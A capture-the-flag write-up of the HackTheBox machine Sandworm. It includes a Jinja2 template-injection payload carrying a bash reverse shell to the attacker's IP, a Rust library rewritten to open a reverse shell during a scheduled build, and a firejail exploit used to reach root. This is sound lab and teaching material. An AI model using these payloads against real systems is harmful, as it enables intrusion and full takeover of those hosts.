Skip to main content
  1. Posts/

Sandworm - HTB

·15 mins
htb

Sandworm is a medium difficulty Linux machine that kicks off the start of the second competitive season on HTB.

We will begin with a port scan:

╰─ nmap -sC -sV 10.129.151.184             
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-19 14:12 EDT
Nmap scan report for 10.129.151.184
Host is up (0.031s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18πŸ’Ώ9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
|_http-title: Secret Spy Agency | Secret Security Service
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds

We see that there is an HTTP server running on port 80 with the hostname ssa.htb, so let’s add that to our /etc/hosts file and take a look at the site. Trying to access the site will redirect us to HTTPS running on port 443.

#your /etc/hosts file

10.129.151.184  ssa.htb

img

While we poke around the site, I want to enumerate some directories with FFuF to see if the website’s built-in navigation leaves anything to be discovered.

╰─ ffuf -c -u https://ssa.htb/FUZZ -w ~/../../usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fl 124

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://ssa.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response lines: 124
________________________________________________

[Status: 200, Size: 3543, Words: 772, Lines: 69, Duration: 126ms]
    * FUZZ: contact

[Status: 200, Size: 5584, Words: 1147, Lines: 77, Duration: 132ms]
    * FUZZ: about

[Status: 200, Size: 4392, Words: 1374, Lines: 83, Duration: 110ms]
    * FUZZ: login

[Status: 302, Size: 225, Words: 18, Lines: 6, Duration: 64ms]
    * FUZZ: view

[Status: 302, Size: 227, Words: 18, Lines: 6, Duration: 66ms]
    * FUZZ: admin

[Status: 200, Size: 9043, Words: 1771, Lines: 155, Duration: 60ms]
    * FUZZ: guide

[Status: 200, Size: 3187, Words: 9, Lines: 54, Duration: 70ms]
    * FUZZ: pgp

[Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 62ms]
    * FUZZ: logout

[Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 57ms]
    * FUZZ: process

:: Progress: [220560/220560] :: Job [1/1] :: 362 req/sec :: Duration: [0:10:30] :: Errors: 0 ::

We got some interesting looking pages like /admin and /login. Trying default credentials didn’t seem to work but the /guide page seems pretty interesting.

img

This page has a good couple of different functionalities, like allowing us to encrypt and decrypt messages and even verify the signature of a message.

We can also gather some other information by looking around the page:

  • The name scheme is user@ssa.htb, indicated by atlas@ssa.htb.
  • The page is using Flask, which may be useful to know if we run into SSTi or something similar.

Let’s experiment with the different functions available on the website by making our own key with GNU Privacy Guard.

First, let’s make our key with the --generate-key flag:

─ gpg --generate-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: coolguy
Email address: coolguy@mail.com
You selected this USER-ID:
    "coolguy <coolguy@mail.com>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? o
---SNIP---

Now let’s take a look at the keys we generated using the --export flag:

╰─ gpg --armor --export coolguy@mail.com

-----BEGIN PGP PUBLIC KEY BLOCK-----

mQGNBGSQpZABDADMEjaDjoS3RbSJFDxUafIcuRHzNOPCdpovdwSVB+5MR0qRp+/A
---SNIP---
4MRiUEoXraFL+i0l4fIqlqg9/xYNsunLICP7pgJeweVp81LnW7dsd4xU80Fp7qLx
IKAxj39oAfXCWpIxvbd5QNOB
=S8H2
-----END PGP PUBLIC KEY BLOCK-----

Now, let’s create a message and encrypt it with our private key so that on the site, we can verify the signature matches the public key.

I’ll begin by just making a file called message:

╰─ ls    
message

╰─ cat message                 
This is a mesage for testing purposes :)

Then, we can sign the message with our private key by using the --clear-sign flag.

╰─ gpg --clear-sign message             

╰─ ls    
message  message.asc

╰─ cat message.asc 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

This is a mesage for testing purposes :)
-----BEGIN PGP SIGNATURE-----

iQGzBAEBCgAdFiEEo0Uk7HURtS0tS8/o/6R7dfVho1QFAmSQqMsACgkQ/6R7dfVh
---SNIP---
txIgC+Zf71Mb/e4XNRT10OA9B42Fi5Bk0Yg7PsKRS6E4YI9s6JuKfwXo4R6L8eKz
tWzWc5Mt
=7Z4Y
-----END PGP SIGNATURE-----

Now, we can upload this to the site and see if everything works as planned:

img

Seems like everything looks fine, but it does seem to give us back our own name as part of the response. Let’s do the same thing as before by generating a key and signing a message, but treating our name field as a payload. The payload I will be using is {{3*3}}. Let’s see if this works:

img

We see that the payload was executed because instead of seeing 3*3 in the response, we see a 9 which is super exciting.

So, we know that this site is using Flask which makes use of the Jinja2 template engine. And we know that the page is vulnerable to SSTi (Server-Side Template Injection), so we can look for some payloads to use.

After some digging around on GitHub, we can find this page that shows us some different payloads for Jinja2 Remote Code Execution.

The one I decided to use is here:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

So I added a bash reverse shell command to see if we could get it to work:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "/bin/bash -i >& /dev/tcp/10.10.14.162/1337 0>&1 | bash" ').read() }}

But, when trying to create a key with this name, we will get the following error:

Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "/bin/bash -i >& /dev/tcp/10.10.14.162/1337 0>&1 | bash" ').read() }}
Invalid character in name
The characters '<' and '>' may not appear in name

So, let’s try and base64 encode the payload and decode it before running it with bash like this:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c " echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE2Mi8xMzM3IDA+JjEK | base64 -d| bash" ').read() }}

This way we are actually able to generate the key and give it a try. Following the same steps as before when trying to verify the signature, we should get a reverse shell on our listener:

╰─ nc -lvp 1337               
listening on [any] 1337 ...
connect to [10.10.14.162] from ssa.htb [10.129.151.184] 58006
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ id
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
atlas@sandworm:/var/www/html/SSA$ 

Nice, we got a shell but we haven’t gotten that user flag just yet. We need to look around and see what else there is to find.

We can’t seem to run that many different programs, and looking at the /bin directory verifies some of our suspicions.

atlas@sandworm:/bin$ ls
base64
basename
bash
cat
dash
flask
gpg
gpg-agent
groups
id
lesspipe
ls
python3
python3.10
sh

Very strange, when looking at the groups on the system we also only see one called atlas. This seems to indicate that we have been sandboxed so let’s see if we can dig ourselves a way out.

Box-gif

Looking in the /home/atlas.config directory, we find more concrete evidence that our sandbox assumptions are correct when we see the /firejail directory:

atlas@sandworm:~/.config$ ls -la
total 12
drwxrwxr-x 4 atlas  atlas   4096 Jan 15 07:48 .
drwxr-xr-x 8 atlas  atlas   4096 Jun  7 13:44 ..
dr-------- 2 nobody nogroup   40 Jun 19 18:10 firejail
drwxrwxr-x 3 nobody atlas   4096 Jan 15 07:48 httpie

You can read more about Firejail here but to summarize, it is a SUID program that has few dependencies and can sandbox nearly any kind of process.

We can’t read the contents of the /firejail directory, but when we look at /httpie, we will find something more useful in the admin.json file:

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
cat admin.json
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "q----------------2",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}

Sweet, we got credentials for a user called silentobserver which we can verify is on the system by looking at the /etc/passwd file:

# in the /etc/passwd file
silentobserver❌1001:1001::/home/silentobserver:/bin/bash
atlas❌1000:1000::/home/atlas:/bin/bash

Let’s log in as silentobserver using SSH:

╰─ ssh silentobserver@ssa.htb
silentobserver@ssa.htb's password: 

silentobserver@sandworm:~$ ls
user.txt

Now it’s time to escalate our privileges. To start, we can’t run sudo on this host so let’s try uploading pspy to the host to enumerate any recurring processes.

silentobserver@sandworm:~$ ./pspy64s 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ β–“β–ˆβ–ˆ   β–ˆβ–ˆβ–“
    β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ    β–’ β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ  β–ˆβ–ˆβ–’
    β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’β–‘ β–“β–ˆβ–ˆβ–„   β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’ β–’β–ˆβ–ˆ β–ˆβ–ˆβ–‘
    β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’  β–’   β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’ β–‘ β–β–ˆβ–ˆβ–“β–‘
    β–’β–ˆβ–ˆβ–’ β–‘  β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’β–ˆβ–ˆβ–’ β–‘  β–‘ β–‘ β–ˆβ–ˆβ–’β–“β–‘
    β–’β–“β–’β–‘ β–‘  β–‘β–’ β–’β–“β–’ β–’ β–‘β–’β–“β–’β–‘ β–‘  β–‘  β–ˆβ–ˆβ–’β–’β–’ 
    β–‘β–’ β–‘     β–‘ β–‘β–’  β–‘ β–‘β–‘β–’ β–‘     β–“β–ˆβ–ˆ β–‘β–’β–‘ 
    β–‘β–‘       β–‘  β–‘  β–‘  β–‘β–‘       β–’ β–’ β–‘β–‘  
                   β–‘           β–‘ β–‘     
                               β–‘ β–‘     

---SNIP---

2023/06/19 20:26:01 CMD: UID=0    PID=225025 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/06/19 20:26:01 CMD: UID=0    PID=225028 | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/06/19 20:26:01 CMD: UID=0    PID=225029 | sleep 10 
2023/06/19 20:26:01 CMD: UID=1000 PID=225030 | /usr/bin/cargo run --offline 
2023/06/19 20:26:02 CMD: UID=1000 PID=225031 | rustc -vV 
2023/06/19 20:26:02 CMD: UID=1000 PID=225032 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed 
2023/06/19 20:26:02 CMD: UID=1000 PID=225034 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg 
2023/06/19 20:26:02 CMD: UID=1000 PID=225036 | rustc -vV 
2023/06/19 20:26:11 CMD: UID=0    PID=225040 | /bin/bash /root/Cleanup/clean_c.sh 
2023/06/19 20:26:11 CMD: UID=0    PID=225041 | /bin/rm -r /opt/crates 
2023/06/19 20:26:11 CMD: UID=0    PID=225042 | /bin/cp -rp /root/Cleanup/crates /opt/ 

We see that the root user is running a process that runs and compiles a program called tipnet after switching to the atlas user.

You’ll notice that this program is executed offline using another program called cargo. Cargo is a package manager for the Rust programming language.

Let’s take a look at the source code for that TipNet program:

silentobserver@sandworm:/opt/tipnet/src$ cat main.rs 
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

// We don't spy on you... much.

struct Entry {
    timestamp: String,
    target: String,
    source: String,
    data: String,
}

fn main() {
    println!("                                                     
             ,,                                      
MMP\"\"MM\"\"YMM db          `7MN.   `7MF'         mm    
P'   MM   `7               MMN.    M           MM    
     MM    `7MM `7MMpdMAo. M YMb   M  .gP\"Ya mmMMmm  
     MM      MM   MM   `Wb M  `MN. M ,M'   Yb  MM    
     MM      MM   MM    M8 M   `MM.M 8M\"\"\"\"\"\"  MM    
     MM      MM   MM   ,AP M     YMM YM.    ,  MM    
   .JMML.  .JMML. MMbmmd'.JML.    YM  `Mbmmd'  `Mbmo 
                  MM                                 
                .JMML.                               

");

---SNIP---

Instead of showing the entire source code here I will just summarize a few of the key functions:

  • Main Function: In the main function, the program first prints an ASCII art representation. It then calls the get_mode function to determine the mode of operation. Depending on the mode selected, it connects to a MySQL database, interacts with the user to gather keywords and justifications for a search, logs the actions, and then performs a database search.
  • get_mode: This function interacts with the user to get the mode of operation. It provides a menu and waits for the user’s input. It then returns the mode as a string.
  • Command Execution: There’s a section in the main function where the program executes the whoami command to get the current username.
  • Logging: The logger::log function (from the logger crate) is used throughout the program to log various events. For instance, it logs attempts to query the system without justification and the pulling of fresh submissions into the database.

With such little information about the logger function, we might want to find it. If we do a bit of looking around in nearby directories, you can find it in the /opt/crates/logger/src directory:

silentobserver@sandworm:/opt/crates/logger/src$ ls
lib.rs

silentobserver@sandworm:/opt/crates/logger/src$ cat lib.rs 
extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

To summarize greatly, this code will append a log entry to a log file named access.log. Which by itself isn’t super useful to us, but there is something special about this directory:

silentobserver@sandworm:/opt/crates/logger/src$ ls -la
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May  4 17:12 .
drwxr-xr-x 5 atlas silentobserver 4096 May  4 17:08 ..
-rw-rw-r-- 1 atlas silentobserver  732 May  4 17:12 lib.rs

We can write to this directory and the lib.rs file, which means that we can edit this script and get our own code executed when that scheduled task builds and runs the tipnet program.

But won’t that just give us a shell as atlas again?

Well, yeah but this time we won’t be stuck in a sandbox. More importantly, that atlas user is able to manipulate the firejail program which might be a good way for us to escalate our privileges.

silentobserver@sandworm:/usr/local/bin$ ls -la firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29  2022 firejail

#our groups as silentobserver
silentobserver@sandworm:/usr/local/bin$ id 
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)

#the groups atlas would be in outside the sandbox
silentobserver@sandworm:/usr/local/bin$ id atlas
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)

Let’s get started by writing some code in rust that we can use to replace the lib.rs file contents to give us a reverse shell.

I first make rev.rs on my host machine, then later send it to the /tmp directory on the target machine.

Below is the rev.rs code:

// Import the required libraries
extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

// Define the main function that will be run
pub fn log(user: &str, query: &str, justification: &str) {
    // This is the command that will create a reverse shell when executed.
    // Replace YOUR_IP and YOUR_PORT with the IP address and port number you want the reverse shell to connect to.
    let command = "bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1";

    // Here, we use the Command::new() function to create a new command that we will run.
    // We use "bash" as the command, and "-c" and command as the arguments. The "-c" flag tells bash to read commands from the following string.
    let output = Command::new("bash")
        .arg("-c")
        .arg(command)
        .output()
        .expect("Failed to execute command");

    // This part checks the output of the command we just ran.
    // If the command was successful, it prints the standard output and error output.
    // If the command was not successful, it prints the error output.
    if output.status.success() {
        let stdout = String::from_utf8_lossy(&output.stdout);
        let stderr = String::from_utf8_lossy(&output.stderr);
        println!("Standard Output: {}", stdout);
        println!("Error Output: {}", stderr);
    } else {
        let stderr = String::from_utf8_lossy(&output.stderr);
        eprintln!("Error: {}", stderr);
    }

    // This is the original logging code.
    // It gets the current time, formats it, and creates a log message.
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    // This part opens the log file in append mode, or creates it if it doesn't exist.
    // If it fails to open or create the file, it prints an error message and returns.
    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    // This part tries to write the log message to the file.
    // If it fails, it prints an error message.
    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

Once you’ve written this up, then you need to send it over to the victim machine and copy it to the /opt/crates/logger/src/lib.rs file. Then, you’ll build the project with cargo build to save those changes.

#downloading the file to the target from our IP
silentobserver@sandworm:/tmp$ wget http://10.10.14.162/rev.rs 
--2023-06-19 22:25:05--  http://10.10.14.162/rev.rs
Connecting to 10.10.14.162:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2461 (2.4K) [application/rls-services+xml]
Saving to: β€˜rev.rs’

rev.rs               100%[======================>]   2.40K  --.-KB/s    in 0s      

2023-06-19 22:25:05 (137 MB/s) - β€˜rev.rs’ saved [2461/2461]

#moving to the correct directory
silentobserver@sandworm:/tmp$ cd ../opt/crates/logger/
silentobserver@sandworm:/opt/crates/logger$ ls
Cargo.lock  Cargo.toml  src  target

#copy the contents from rev.rs to lib.rs
silentobserver@sandworm:/opt/crates/logger$ cp ~/../../tmp/rev.rs src/lib.rs

# build the project
silentobserver@sandworm:/opt/crates/logger$ cargo build
   Compiling autocfg v1.1.0
   Compiling libc v0.2.142
   Compiling num-traits v0.2.15
   Compiling num-integer v0.1.45
   Compiling time v0.1.45
   Compiling iana-time-zone v0.1.56
   Compiling chrono v0.4.24
   Compiling logger v0.1.0 (/opt/crates/logger)
    Finished dev [unoptimized + debuginfo] target(s) in 6.78s

Then, after waiting a little while, you’ll get a connection once your code is executed:

╰─ nc -lvp 7777
listening on [any] 7777 ...
connect to [10.10.14.162] from ssa.htb [10.129.151.184] 33426
bash: cannot set terminal process group (228438): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ id
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:/opt/tipnet$ 

We see that we can now interact with the firejail program because we are logged in as atlas outside of the sandbox. Now, let’s see if we can use firejail to escalate our privileges:

atlas@sandworm:/opt/tipnet$ firejail --version
firejail version 0.9.68

If you search up this version, you’ll find out that this is indeed a vulnerable version of firejail and we should be able to escalate our privileges. Take a look at this post on the NVD.

  • I will be using an exploit for this CVE that you can find here.

Once uploaded to the machine, we can make it executable and run it:

atlas@sandworm:~$ wget http://10.10.14.162/firejoin.py
--2023-06-19 22:59:59--  http://10.10.14.162/firejoin.py
Connecting to 10.10.14.162:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7955 (7.8K) [text/x-python]
Saving to: β€˜firejoin.py’

     0K .......                                               100%  241M=0s

2023-06-19 22:59:59 (241 MB/s) - β€˜firejoin.py’ saved [7955/7955]

atlas@sandworm:~$ ls

firejoin.py
atlas@sandworm:~$ chmod +x firejoin.py

atlas@sandworm:~$ python3 firejoin.py
python3 firejoin.py
You can now run 'firejail --join=233549' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.

Then, in another reverse shell as atlas, you can run the following commands to gain access to the root account:

atlas@sandworm:/opt/tipnet$ firejail --join=233549
Warning: cleaning all supplementary groups
changing root to /proc/233549/root
Child process initialized in 11.82 ms
su -

whoami
root

Related

Topology - HTB
·6 mins
htb
Enumeration # As always, we begin with a port scan: ╰─ nmap -sC -sV 10.
Bookworm - HTB
·11 mins
htb
We start with a port scan as we normally do: ╰─ nmap -sC -sV 10.
Snoopy - HTB
·13 mins
htb
We begin with a port scan: └─ nmap -sC -sV 10.129.189.160 Starting Nmap 7.